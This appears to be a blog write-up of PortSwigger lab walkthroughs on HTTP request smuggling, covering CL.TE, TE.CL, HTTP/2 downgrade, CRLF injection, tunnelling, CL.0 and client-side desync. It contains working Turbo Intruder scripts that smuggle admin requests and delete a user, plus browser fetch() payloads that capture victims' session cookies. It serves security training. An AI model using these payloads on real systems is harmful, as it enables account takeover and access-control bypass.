The primary mistake seen in the wild is servers assuming that every HTTP/1.1 request sent down a given TLS connection must have the same intended destination and HTTP Host header.
Resources
- TOOL: Smuggler, Request Minimizer(Burp extension to minimize the request size)
- HTTP/1.1 Must Die
- HTTP/2 downgrading
- Response queue poisoning
- Bypassing client authentication| Mutual TLS authentication
- Turbo Intruder: Embracing the billion-request attack
- Turbo Intruder
- Video LINK James Kettle — Client-side desync attacks
- Client-side desync attacks
- PortSwigger Labs
- Making desync attacks easy with TRACE
- HTTP/2: The Sequel is Always Worse
- Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling
- HTTP Host header attacks
- Routing-based SSRF
- HTTP Pipelining
- Pipelining causes a loop in Cesanta Mongoose
- BUG HUNTER UNIVERSITY Google
- CRLF Injection
- HTTP request tunnelling
Bug Reports:
- TE.0
- Client-Side Desync & Video in blog
- Desync attacks with TRACE
- Tinder automatic like Bug
- CL.TE & IDOR
- TE.CL
- Account takeover via HTTP Request Smuggling
- Slack CL.TE
Functionalities to Test
| Functionality | Why Target? |
| --------------------- | -------------------------------- |
| Login / Auth | Account takeover opportunities |
| Password Reset | Hijack reset flows |
| File Upload | Hidden web shell upload paths |
| Internal APIs | Trust boundary misconfigurations |
| Large POST Requests | Smuggle data in body |
| Cached Resources | Web cache poisoning potential |
| Redirects / Rewrites | Response splitting opportunities |
| Behind Proxies / CDNs | Frontend-backend desync |
-------------------------------------------------------------------------------
1. Login / Authentication Endpoints
2. Password Reset & Email Change Workflows
Endpoints handling:
OTP verification
Email update
Password reset tokens
3. File Upload Functionalities
4. Internal API Gateways
Often misconfigured to trust headers blindly.
5. Endpoints with Large POST Requests
File uploads
Data imports
Bulk actions
6. Caching Mechanisms
Proxy caches like Akamai, CloudFront, or Varnish.
Smuggling can lead to web cache poisoning.
7. Redirect / URL Rewrite Mechanisms
8. Endpoints Behind Load Balancers, Proxies, or CDNs
Mismatches usually occur in:
Nginx + Apache
CloudFront + backend servers
HAProxy setups
Check "via", "X-Forwarded-*" headers to fingerprint proxy setups.
Targets
1. Websites using HTTP/1.1 over HTTP/2
2. HTTP/2 downgraded to HTTP/1.1
Testing case with TE
- Change method from GET to POST
- Remove unnecessary headers
- Turn on the New lines option
- Add header: Transfer-Encoding: chunked

HTTP Pipelining Causes a Loop



False Positives:
→HTTP Pipelining




→First-request validation

Apply this whitelist to the first request sent.
Gain access to internal websites by issuing a request to an allowed destination, followed by one for the internal site down the same connection:

Omitting the CL is explicitly acceptable in HTTP/2 due to the aforementioned built-in length field.
Browsers always send a CL so the server apparently wasn’t expecting a request without one.

Omitting the CL is explicitly acceptable in HTTP/2 due to the aforementioned built-in length field.
You don’t need header obfuscation or ambiguity for request smuggling; all you need is a server taken by surprise.
Connection-locked HTTP/1.1 request smuggling vulnerabilities front-end creates a fresh connection to the back-end for each connection established with the client.
To rule out the pipelining possibility
Pause and attempt an early read after completing the chunked request with 0\r\n\r\n.
If the server responds during your read attempt, that shows the front-end thinks the message is complete and therefore must have securely interpreted it as chunked:

If your read attempt hangs, this shows that the front-end is waiting for the message to finish and, therefore, must be using the Content-Length, making it vulnerable:

CL.TE & TE.CL
Test & confirm CL.TE & TE.CL:
CL.TE
Test
Turn off update content length.

The front end dropped the “X”, seeing the content-length, but the backend waited for the next chunk size to arrive, eventually getting a timeout: Strong indication of CL.TE vulnerability.
Confirm:
Attack request:
Add a byte more the byte we are sending in the smuggled request.

Normal user request:

Send attack request:

Send normal user request:

We can smuggle the GET request and confirm CL.TE.
This is how the backend saw the request:

TE.CL
TEST:

3 is the chunk size, so when the request reaches the frontend and “abc” is taken and X is discarded.


Confirm:


Front end looked at 0 chunk size and dropped everything after it (X), but backend read the content length 8 and was waiting for the rest of the 7 bytes to arrive, so we got a timeout, thereby confirming backend is checking for content length.
Exploit:
Smuggling a request to poison a normal user request. Send this request, and our smuggled request waits in the backend for the 5 bytes of the normal request to arrive:

The smuggled request gets added on to the top of the normal user's request, then the normal user will get a 404:

This is how the backend saw the request:


Because the content length is 15, it took the normal user’s request bytes till the content length of the smuggled request is met.

Let’s check how we wrote the smuggling request:
→Content-Length: 4


→Now the <chunk-size>:

→The chunk size is “6e”:

→Now you know where the 6e size came from

Content length is 10, so we need to set the length to at least one byte more, so it is set to 15 ( in this case, the request header of the normal user request gets added.
Exploiting TE.CL:
HTTP request smuggling, basic TE.CL vulnerability
Smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST

Let’s send GPOST as a smuggled request.

Only the request headers are added as chunked size, and not the content.
Send the request twice, and we get GPOST:

Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL:
→ Test if Frontend is checking for Transfer-Encoding: chunked

→ Test if Backend is checking for Content-Length


Exploit:


First request having the smuggled GET request to /sura:

Second normal user request. Then this smuggled request gets appended on top of the normal request and will get a 404 since the /sura endpoint does not exist:

Let’s try to access the /admin using request smuggling:


Attack request:

Second normal request:


Error message: Admin interface only available to local users. Let’s change the host to localhost and send the attack request:

Send a normal request after the attack request is sent:

We bypassed the front-end security controls, TE.CL vulnerability.
Exploiting HTTP request smuggling to reveal front-end request rewriting
Let’s check if the architecture is CL.TE based:

Now let’s smuggle a request to access the /admin page:

This is how the server adds our smuggled request on top of the normal request:

Response of the normal request after the attack request is sent:

According to the error message, we will set the host to 127.0.0.1(localhost). But here the header name is different, so how will we find it?
Let's try to print the normal request seen by the server. For that, let's intercept the search field:

This is how the search request looks like:

Let’s smuggle a request using this search:

Make sure the request method is POST, as we are using search. Let's send the attack request and normal request. As we set the content length to 50, we will hopefully get 39 bytes of the appended request:

Let's add the content length to 100:

Now we get the Host header the server is using, let’s change the attack request accordingly.

Now we get access to the /admin page:

Exploiting: To capture other users’ requests to access their accounts
Store the next user’s request in the application. Then, retrieve the next user’s request and use the victim user’s cookies to access their account.
There is a comment section, let's capture the request:


Let’s make the necessary changes and smuggle this request.

Change the position of the comment attribute to the end because we want the normal user’s GET request to be appended as a comment, so we can see the cookies and other values.
Now we need to change the content length:

The content length should be increased to include as much of the normal users get requests, but by how much?
For that, let's see how many bytes a normal GET request is:


103+513=616

Now we are going to send the normal user request. If we get a 302, then our request we send is added as a comment. We do this till we get a 200 because the admin account does not send a request every second, but when it does, it will get appended and show a 200 OK.
But our normal request is 171 bytes:

We need 616 bytes for our attack to work, so we will add new lines till it reaches the exact bytes; otherwise, we will get a timeout:

Send attack request:

Now normal request:


302 means we posted a comment, do it till we get a 200 ok


Since we get a 200 status code, the GET request is added as a comment. But we still can't see the session, so increase the byte size to add all the request headers and add the new lines in the normal request to match the Content length size of the smuggled request.


Now the normal user's session cookie is added as a comment to everyone to see. Now we can take over their account using this session data.
Response queue poisoning via H2.TE requests smuggling
Response queue poisoning means that all users of the same front-end/back-end connection are persistently served responses that were intended for someone else.
Front-end server downgrades HTTP/2 requests. In this case:
front-end using HTTP/2 and front-end using HTTP/1.1 to talk to the back-end.

Remove the Content-Length header because the Front-end will be using HTTP/2's built-in mechanism to determine the content length. But when downgrading to HTTP/1.1 if it follows RFC, it will see the Transfer-Encoding: chunked and prefer using this header, which will cause the request smuggling vulnerability.
Confirm:
Attack Request: HTTP/2 & HTTP/1.1(smuggled)| Turn off Update content length

Normal Request:

Exploit:

Now both of our requests will get 404. The logic here is that: When we send this request repeatedly, and the victim sends their request at the same time, our smuggled GET request’s response will be in the response queue, and the normal user(victim) will get a 404 response, and the victim's response will be forwarded to us.
To make it work in a real target, we should send a lot of requests, so we use Intruder:
- Sniper Attack
- Null Payloads
- Continue indefinitely
- IN Settings → Turn off Update content length
- Set new resource pool: Max concurrent requests 1 and Delay 800 milliseconds




Filter the response to our needs:


We get a 302 containing the user session.

The victim's response in the queue gets sent to the attacker, and the attacker's smuggled requests response gets sent to the victim, which is 404. Because we poisoned the response queue with the smuggled request.
H2.CL request smuggling
Turn off update content length automatically, we need to alter it manually for this vulnerability.
HTTP/2 RFC states that it’s not necessary to include a content-length header because the content length is derived from HTTP/2’s built-in length mechanism.
The RCF also states that you are allowed to set the Content-Length header as long as it is correct and matches the built-in mechanism.
Then why does H2.CL vulnerability work?
Not all the front-end implementation checks if the length is correct, and some of them simply trust the value that we give and pass it on to the backend server.
Confirm vulnerability:
Attacker request:

Content-Lenght: 8

Normal user(victim) request:

So we can confirm H2.CL vulnerability exists.
Exploit:


This is an on-site redirect. We will turn it into an off-site redirect and redirect the victim to an attacker-controlled server. For that, let’s smuggle a request:

We must complete the request, or else the server will see the request in this way and take the target Host header and not the Host we set:

Attacker request:

Content-length should be 1 byte more than the content we are sending.

Victim request:

Off-site redirect exploit is working. Let’s set up our exploit server:

But we need to change the path to /resources/js because we know the server will check for it:


Attacker-controlled server: https://exploit-0a5e0092036f3132803102c9013b00c9.exploit-server.net/resources/js
Attacker request:

Victim request:

In the response, the victim is redirected to the attacker-controlled server.
We may need to send the request a couple of times for this to work.
Now, let's automate the process using Intruder:

Turn off update content-length:

Start the attack and wait till we get a 200 ok response, which means the victim got the redirect response.
HTTP/2 request smuggling via CRLF injection
Front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming headers.
CRLF: Carriage Return (CR) and Line Feed(LF), represented as: \r\n
CRLF Injection
HTTP/2 RFC states that it’s not necessary to include a content-length header because the content length is derived from HTTP/2’s built-in length mechanism.
Test & confirm H2.TE:
Attack request:

Victim request:

Why not get a 404?
The backend is stripping away or filtering Transfer-Encoding: chunked
Let’s send it in a different way:

If sent in this way, when the front end receives a request using HTTP/2, it may not try to strip out headers and just convert it to an HTTP/1.1 request. And when reaching, if the “Carriage Return (CR) and Line Feed(LF)”(\r\n) is not stripped out, the back-end will see the Transfer-Encoding: chunked header as a new header, as we injected “\r\n”, and request smuggling vulnerability is possible.
Attack request:

Victim request:

Exploit:
Whatever we search gets stored:

The POST request looks like:

We can use this mechanism to store other users’ GET requests, which will contain their session cookies.
Let’s make this our smuggled request:

Change it from HTTP/2 to HTTP/1.1, and if it returns 200 ok, we can smuggle the request as the backend is using HTTP/1.1.

Attacker Request:

For the content length, the size of the victim's GET request should be more than the content length size but enough to include the session headers to get stored.

The size of a normal GET request is 870 bytes.
Normal request:

The request got stored:

Bug-bounty perspective:
Let’s send the attack request and wait till a normal user(victim) sends a request. As our session cookie is in the POST request, whatever comes after it will be stored. When the victim's request is appended to our smuggled request by the backend. Then the victim’s session will be sorted in our(attacker) home page.

The content length is not long enough to include the victim's session value, so increase it:

Now send the request, and we will get the victim's session cookie.

Now using this, we get full access to the victim's account.
Obfuscating the TE header

Turn off update content length.
Test:
The front-end is using Transfer-Encoding.


The Back-end is using Transfer-Encoding.


Exploit:
To perform our request smuggling attack, we need to trick one of the servers not to process the Transfer-Encoding: chunked header.

The front-end and back-end servers will treat the 2 TE headers differently, and one will end up choosing content-length instead.
So let’s add an another Transfer-Encoding header with an invalid value.


The frontend choose the proper TE header over the malformed TE header while the backend rejects the 2 TE header and choose Content-length.

Confirm:

Attack request:

Victim request:

This confirms that desynchronization is possible through the TE header obfuscation.
Exploit:
Let’s smuggle a request GPOST.
Attack request:

Victim request:

Web Cache Deception, Poisoning & Open Redirect — Chained with Request Smuggling!
Chaining Access Control & XSS via HTTP Request Smuggling
Bypassing access controls via HTTP/2 request tunnelling | Blind into non blind request smuggling
The front-end server downgrades HTTP/2 requests and fails to sanitize incoming header names adequately.
The front-end server doesn’t reuse the connection to the back-end, so it isn’t vulnerable to classic request smuggling attacks. However, it is still vulnerable to request tunnelling.
If you receive an HTTP/2 response with what appears to be an HTTP/1 response in the body, you can be confident that you’ve successfully tunneled a second request.
The front-end server appends a series of client authentication headers to incoming requests. You need to find a way of leaking these.
Bypassing client authentication| Mutual TLS authentication
In HTTP/2 downgrading you can potentially trick the front-end into appending the internal headers inside what will become a body parameter on the back-end.

In this case, both the front-end and back-end agree that there is only one request. What’s interesting is that they can be made to disagree on where the headers end.
The front-end sees everything we’ve injected as part of a header, so adds any new headers after the trailing comment=
string. On the other hand, the back-end sees the \r\n\r\n
sequence and thinks this is the end of the headers. The comment=
string, along with the internal headers, are treated as part of the body. The result is a comment
parameter with the internal headers as its value.

Let’s choose the GET request. Then do a header injection

Add and send the request.

Let’s change the host:

Apply and send a request:

In the search feature, our input is reflected back to us:


We can use this functionality to leak internal headers.
This is how the attack works:


In HTTP/2 using CRLF(\r\n) injection, we will add the search, and then internal headers will be added to it. When downgraded to HTTP/1.1, the \r\n is seen and is taken as the end of the header section, and the rest is seen as the searched value.
Exploit:
Change request from GET to POST:


Remove the “content-length” and “search”; we don’t want this in the request body. We want to inject it through HTTP/2 request headers.


According to HTTP/1.1, the request headers have ended with a double “\r\n\r\n”, but in the case of HTTP/2 the it is added as a Header. So other internal headers are added and are reflected to us.
We can see the SSL, part of the mTLS headers.
“mTLS headers,” the term typically refers to custom HTTP headers that are added to a request after a successful Mutual Transport Layer Security (mTLS) handshake. These headers are used to pass information about the mTLS connection, particularly details extracted from the client’s X.509 certificate, to backend services.
Increase the content length:

Now we have the complete mTLS headers till our content length header. If Content-Length is more than the content, you will not receive a response, so increase it slowly.
Let’s try to access the admin page.


This is what we are going to do:

But when we smuggle the /admin request, we will only see the first request’s response actually the /admin request’s response is not sent to us so this is a Blind Request smuggling.

The front-end server will read only up to 8639 bytes, and that is the response to request 1.
Attack request:
We will use these headers:

In the request header, add 2 CRLF(\r\n\r\n) to indicate to HTTP/1.1 that request 1 has ended and request 2 started:


Change the 0 to 1 and null to administrator. The key is the same.

Add 2 \r\n\ to indicate the request ended.
Send request:

We cannot see the response to request 2(/admin request).
Now let’s try to change this blind request smuggling to non blind request smuggling.

The content length of the front page is 8584 bytes. We will change our GET request to a HEAD request and see if the server lets us see till 8584 bytes, which will include the /admin response.


8584 bytes is the length of the front page, and 3608 may be the size of the admin page. As we send a HEAD request, the headers are the response of request 1, and the content is the response of smuggled request 2. But the front end is expecting size 8584 - size of front page(/) response.
So we must send a request to a path that is near 3608 bytes to get the response of the admin page.
Change path to admin, but not enough to show full response:

Change the path to login, and we will get the full response:

So we successfully accessed the admin page.
Now we can delete the user Carlos with this:

CL.0 request smuggling
Front-end checks for content length, while the back-end does not.
Test:
Let’s use a request made for a static file, set the content length to 20, then the back-end checks for content length & we get a timeout:

Confirm:
Smuggle a request along with it, the front-end checks content length & passes it to the back-end(set the “connection: Keep: Alive” header and send the attack and normal request in the same group in sequence):

But the backend sees it as 2 requests and adds the “/sura”(smuggled request) to the top of the normal request:

This is how the back-end saw the request:

Exploit:
Let’s add the route of the smuggled request to /admin:

Now send the attack and normal request in sequence, and we get access to the admin page:

CL.0 browser-compatible desync

The front-end was using the Content-Length, but the back-end was ignoring it entirely. Back-end treated the body as the start of the second request’s method.

HTTP request smuggling, obfuscating the TE header
Test if the front end is using Transfer-Encoding:



Test if the Back-end is using Transfer-Encoding:


Server-side pause-based request smuggling
The front-end server streams requests to the back-end, and the back-end server does not close the connection after a timeout on some endpoints.
Check out Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling.
The target has several endpoints that issue a server level redirect and are vulnerable to a pause-based request smuggling attack because of the version of Apache server they are using.
We will choose the path to a static file.

Downgrade the protocol to HTTP/1.1. Change the GET request to POST, and the path to just /resources. We will get a 302 redirect.

Identify a pause-based CL.0 desync vector, smuggle a request to the back-end, to do the CL.0 pause-based request smuggling, we will use Turbo Intruder.
Turbo Intruder:
— Turbo Intruder: Embracing the billion-request attack
— Turbo Intruder
Install the extension from the BAPP store.
Test & Confirm CL.0 pause-based request smuggling:
Now let’s configure the Python code. For that, we use a code editor:
def queueRequests(target, _):
engine = RequestEngine(endpoint="https://0ada007804845b7c80e2128e00ab0097.web-security-academy.net:443",
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False
)
#for _ in range(30): # Number of times to send the request
# Attack request
attack_request = '''POST /resources HTTP/2
Host: 0ada007804845b7c80e2128e00ab0097.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: %s
%s'''
# Smuggled request
smuggled_request='''GET /sura/ HTTP/1.1
Host: 0ada007804845b7c80e2128e00ab0097.web-security-academy.net
'''
# normal request
normal_request = """GET / HTTP/1.1
Host: 0ada007804845b7c80e2128e00ab0097.web-security-academy.net
"""
engine.queue(attack_request, [len(smuggled_request), smuggled_request], pauseMarker=['\r\n\r\nGET'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, _):
table.add(req)
This is the attack(req 1) and the smuggled request(req 2).

This is the normal user request:

Let’s copy the code to the intruder:

Now start the attack:

After a duration of 61 seconds, we get our responses- 302 & 404.

This confirms CL.0 pause-based request smuggling.
Exploit:
Let’s try to access the admin page.

For that, let’s change the smuggled path:

Make sure you add a “/” at the end of the admin path, because our target backend server will give a 302 for the request without ending “/”:
Attack request: (demo)

Normal request: (demo)
This shows the response of our smuggled /admin path.

Exploit:
Attack request:

Normal request:


This is a response from the backend server.
Let’s change the Host of the smuggled request:

Attack request:

Normal request:

We successfully assessed the admin panel.
Let’s delete a user:

For that, we need the session cookie and csrf value of the admin, which we already have.


Change pause marker to POST:

def queueRequests(target, _):
engine = RequestEngine(endpoint="https://0ada007804845b7c80e2128e00ab0097.web-security-academy.net:443",
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False
)
#for _ in range(30): # Number of times to send the request
# Attack request
attack_request = '''POST /resources HTTP/2
Host: 0ada007804845b7c80e2128e00ab0097.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: %s
%s'''
# Smuggled request
smuggled_request='''POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Length: 53
Cookie: session=M9JcTWOK2E1LpRUAeYuKDfm9JKOUFHPg
csrf=sx6wHQulk7cPovAZ1zhzzdMVDYbiq0BA&username=carlos
'''
# normal request
normal_request = """GET / HTTP/1.1
Host: 0ada007804845b7c80e2128e00ab0097.web-security-academy.net
"""
engine.queue(attack_request, [len(smuggled_request), smuggled_request], pauseMarker=['\r\n\r\nPOST'], pauseTime=61000)
engine.queue(normal_request)
def handleResponse(req, _):
table.add(req)
Send a request, and we can delete users with the admin privilege.

Client-side desync
— Video LINK James Kettle
The ability for a browser to cause a desync. This enables exploitation of single-server websites.
Using Client-Side desync, we can exploit websites that do not have a front-end/back-end architecture. We’ve learned from looking at CL.0 attacks, it’s possible to cause a desync using fully browser-compatible HTTP/1.1 requests.
Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling.

Link to the Bug report of the image below:

A CSD attack begins when the victim visits the attacker’s website, which then causes their browser to send two cross-domain requests to the vulnerable website. The first request is crafted to desync the browser’s connection and make the second request trigger a harmful response, typically giving the attacker control of the victim’s account.
The entire exploit sequence occurs in your victim’s web browser.
First, the server must ignore the request’s Content-Length (CL). The server simply wasn’t expecting a POST request to the chosen endpoint. Try targeting static files and server-level redirects, and triggering errors via overlong-URLs, and semi-malformed ones like /%2e%2e.
Secondly, the request must be triggerable in a web browser cross-domain. Browsers severely restrict control over cross-domain requests, so you have limited control over headers, and if your request has a body, you’ll need to use the HTTP POST method. Ultimately, you only control the URL, plus a few odds and ends like the Referer header, the body, and the latter part of the Content-Type.
Lab: Client-side desync

Target is vulnerable to client-side desync attacks because the server ignores the Content-Length
header on requests to some endpoints. You can exploit this to induce a victim's browser to disclose its session cookie. Based on real-world vulnerabilities discovered by PortSwigger Research:
— Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling.
- Identify a client-side desync vector in Burp, then confirm that you can replicate this in your browser
- Identify a gadget that enables you to store text data within the application.
- Combine these to craft an exploit that causes the victim’s browser to issue a series of cross-domain requests, thereby leaking their session cookie.
- Use the stolen cookie to access the victim’s account.
— Capturing other users’ requests
Target:

First, we must choose an endpoint that uses HTTP/1.1 and ignore Content-Length.

For our Client Side desync to work over the browser, we must check if our endpoint supports HTTP/1.1 over HTTP/2. Because browser always choose HTTP/2 over HTTP/1.1.
Let’s choose this as our endpoint:

Let’s see if it supports HTTP/1.1 over HTTP/2 or our attack won't work once we run it in the browser. Change the protocol to HTTP/2.

Now send the request:

This proves the server is not advertising HTTP/2 support. One more thing to test:

Send request:

Now we can proceed with the attack.
Test:
Downgrade to HTTP/1.1.

Change the method and send a request to check if the server supports a POST request:

Detect:
Turn off update content-length and set it to 20, then send the request:

The server didn’t wait for the 20 bytes to arrive and gave an immediate response. So we detected a possible Client-Side Desync.
Confirm:


Add connection: keep-alive header. Because we want to make sure that after the request is sent the server keeps the connection open.
Turn on update content automatically and allow HTTP/1 connection reuse from settings.
Attack request:

Normal request:

Click the + icon → Create new tab group → select our tabs containing attack and normal request → create:


In the send drop down select → Send group in sequence(single connection).


Send the request, and if our attack is successful, we will get a 404 for the normal request:

Now we need to make sure this works in the browser:

fetch("https://0a8500ef03bb5c6280a92100005b0049.h1-web-security-academy.net/", // attack request
{
method: "POST",
body: "GET /sura HTTP/1.1\r\nIgnore: x",
credentials: "include",// we use the cookies, to ensure same connection pool
mode: "cors", // this will give an error, ensure we do no follow a 302 redirect
}
).catch(() => { // normal request
fetch("https://0a8500ef03bb5c6280a92100005b0049.h1-web-security-academy.net/en",
{
method: "GET",
credentials: "include",// to ensure we are in the same connection pool as the attack request
mode: "no-cors",//won't trigger an error
}
);
}
);
Using the mode: 'cors'
option in a fetch()
request is a common technique to trigger a CORS error intentionally, which prevents the browser from automatically following a server-level redirect that would otherwise break the client-side desync attack sequence. This allows the attacker to continue the exploit by using the catch()
method to resume the attack after the CORS error occurs. However, a downside of this approach is that it prevents the browser from displaying the connection ID on the Network tab, which can make troubleshooting more difficult. For scenarios where visibility of the connection ID is needed, the mode: 'no-cors'
option is typically preferred, as it ensures the connection ID is visible on the Network tab and helps confirm the desync.
In Chrome browser → Network Tab: Turn on Preserve Log

Paste the code in the console and hit enter:


We get a 404 for the /en endpoint (normal request). In the Network Tab, we can see the attack and normal requests:

Attack request:

Normal request:

This confirms the vulnerability works in the browser as well.
Exploit:
To show impact, we will use an exploitable gadget and try to store the victim's request so that we can leak their session cookie.
Our target has a comment option in every post we can use that functionality.


Now minimize the request using extention or manually:

Move the comment to the end, to make sure the victim's request gets added there:

If you run into any errors you change the encoding to normal and run it.
Attack Request:

Increase the size to append the normal request that will come after our comment.
Set it to 200 and sent the request just to check it works:

Normal request’s response:

The attack is working.

Now to test it in browser we need to add this POST request to body of our fetch request:

To avoid errors while adding \r\n every time we will add the request as an array and join it with \r\n.


/*
POST /en/post/comment HTTP/1.1
Host: 0a8500ef03bb5c6280a92100005b0049.h1-web-security-academy.net
Cookie: session=Udh9PFFBuytuyELCxdv8DkuPcT4L
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
csrf=tFUGlEzq53ot87yixonSkTlmqrzKDD&postId=4&name=Zodiac&email=zodiac%40email.com&website=http%3A%2F%2FZodiac_youtube.com&comment=zodiac
*/
smuggledRequest=[
"POST /en/post/comment HTTP/1.1",
"Host: 0a8500ef03bb5c6280a92100005b0049.h1-web-security-academy.net",
"Cookie: session=Udh9PFFytuyEwtLCxdv8DkuPcT4L",
"Content-Type: application/x-www-form-urlencoded",
"Content-Length: 200",
"Connection: close",
"",
"csrf=tFUGlEzq53ot87yixonSlmqrzKDZ4D&postId=4&name=Zodiac&email=zodiac%40email.com&website=http%3A%2F%2FZodiac_youtube.com&comment=zodiac",
].join("\r\n");
fetch("https://0a8500ef03bb5c6280a92100005b0049.h1-web-security-academy.net/", // attack request
{
method: "POST",
body: smuggledRequest,
credentials: "include",// we use the cookies, to ensure same connection pool
mode: "cors", // this will give an error, ensure we do no follow a 302 redirect
}
).catch(() => { // normal request
fetch("https://0a8500ef03bb5c6280a92100005b0049.h1-web-security-academy.net/en",
{
method: "GET",
credentials: "include",// to ensure we are in the same connection pool as the attack request
mode: "no-cors",//won't trigger an error
}
);
}
);
Now use this to clear the Network Tab:

And paste the fetch code and hit enter:

We got a response, let's check the Network tab:

Previously, we got 404 at the /en endpoint; now we get a 302 and a 200 response. The comment was added successfully.


Final exploit:
In the attacker-controlled server.


Store this and deliver the exploit to the victim.

Increase the Content-Length to get the complete victim request:


Comments
Post a Comment